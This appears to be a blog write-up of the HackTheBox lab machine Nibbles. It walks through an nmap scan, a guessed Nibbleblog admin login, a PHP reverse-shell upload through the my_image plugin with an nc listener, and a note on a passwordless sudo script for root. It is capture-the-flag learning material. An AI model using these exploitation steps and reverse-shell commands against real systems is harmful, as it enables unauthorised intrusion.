Skip to content
Back to Blog

writeups · 1 min read

WriteUp – Nibbles (HackTheBox)

Write-up of Nibbles (HackTheBox): simple Linux machine that exploits Nibbleblog 4.0.3 with leaked credentials and RCE via plugin upload, and escalates to root by abusing sudo in the monitor.sh script.

· Manuel López Pérez · writeups

Write-up of Nibbles (HackTheBox): simple Linux machine that exploits Nibbleblog 4.0.3 with leaked credentials and RCE via plugin upload, and escalates to root by abusing sudo in the monitor.sh script.

In this post we will resolve the machine Nibbles from HackTheBox It’s is a very simple Linux machine. My nick in HackTheBox is: manulqwerty If you have any proposal or correction do not hesitate to leave a comment.

WriteUp

Enumeration

As always, the first thing will be a port scan with Nmap:

nmap -sC -sV 10.10.10.75

Let’s take a look at the web. We’ll check the source code: Where we see:

/nibbleblog/ directory. Nothing interesting here!

So with no need to fuzz, we found:

http://10.10.10.75/nibbleblog/

That seems to be a nibbleblog. Let’s list the files and directorys of a nibbleblog: http://www.schizovivek.in/?dir=nibbleblog

We find the Admin Panel on:

http://10.10.10.75/nibbleblog/admin.php

Exploitation

After a couple of tests we find the credentials:

admin:nibbles

As we see on Settings, the version is: Nibbleblog 4.0.3 “Coffee” We look for exploits for that version: https://curesec.com/blog/article/blog/NibbleBlog-403-Code-Execution-47.html or with metasploit: exploit/multi/http/nibbleblog_file_upload Get shell:

 locate webshell cp /usr/share/webshells/php/php-reverse-shell.php . #We edit the ip php-reverse-shell.php nc -lvp 1234 #We upload the .php using the plugin my image of nibbleblog #Execute the php on: http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php

Post-Exploitation

We get tty shell: With sudo -l we see that we can execute the file: /home/nibbler/personal/stuff/monitor.sh as root with no passwd:

Back to Blog

Related Posts

View All Posts »
WriteUp - Fighter (HackTheBox)

writeups · 3 min

WriteUp - Fighter (HackTheBox)

Write-up of Fighter (HackTheBox): medium-level Windows machine exploiting time-based SQLi to extract credentials, gets RCE via xp_cmdshell + msbuild NPS payload, and escalates to SYSTEM with Capcom.sys (CVE-2019-7253) + bypass of checks.

· Manuel López Pérez

WriteUp - Celestial (HackTheBox)

writeups · 2 min

WriteUp - Celestial (HackTheBox)

Write-up of Celestial (HackTheBox). Low-level Linux machine that exploits an insecure cookie deserialisation in Node.js (CVE-2017-16137) to obtain RCE, then escalates to root by abusing a cron job that executes an editable script.

· Manuel López Pérez

WriteUp – Rabbit (HackTheBox)

writeups · 2 min

WriteUp – Rabbit (HackTheBox)

Rabbit write-up (HackTheBox): Windows machine that exploits time-based SQLi in Complain Management System for RCE via xp_cmdshell + msbuild NPS payload, and escalates to SYSTEM by abusing WAMP64 running as SYSTEM.

· Manuel López Pérez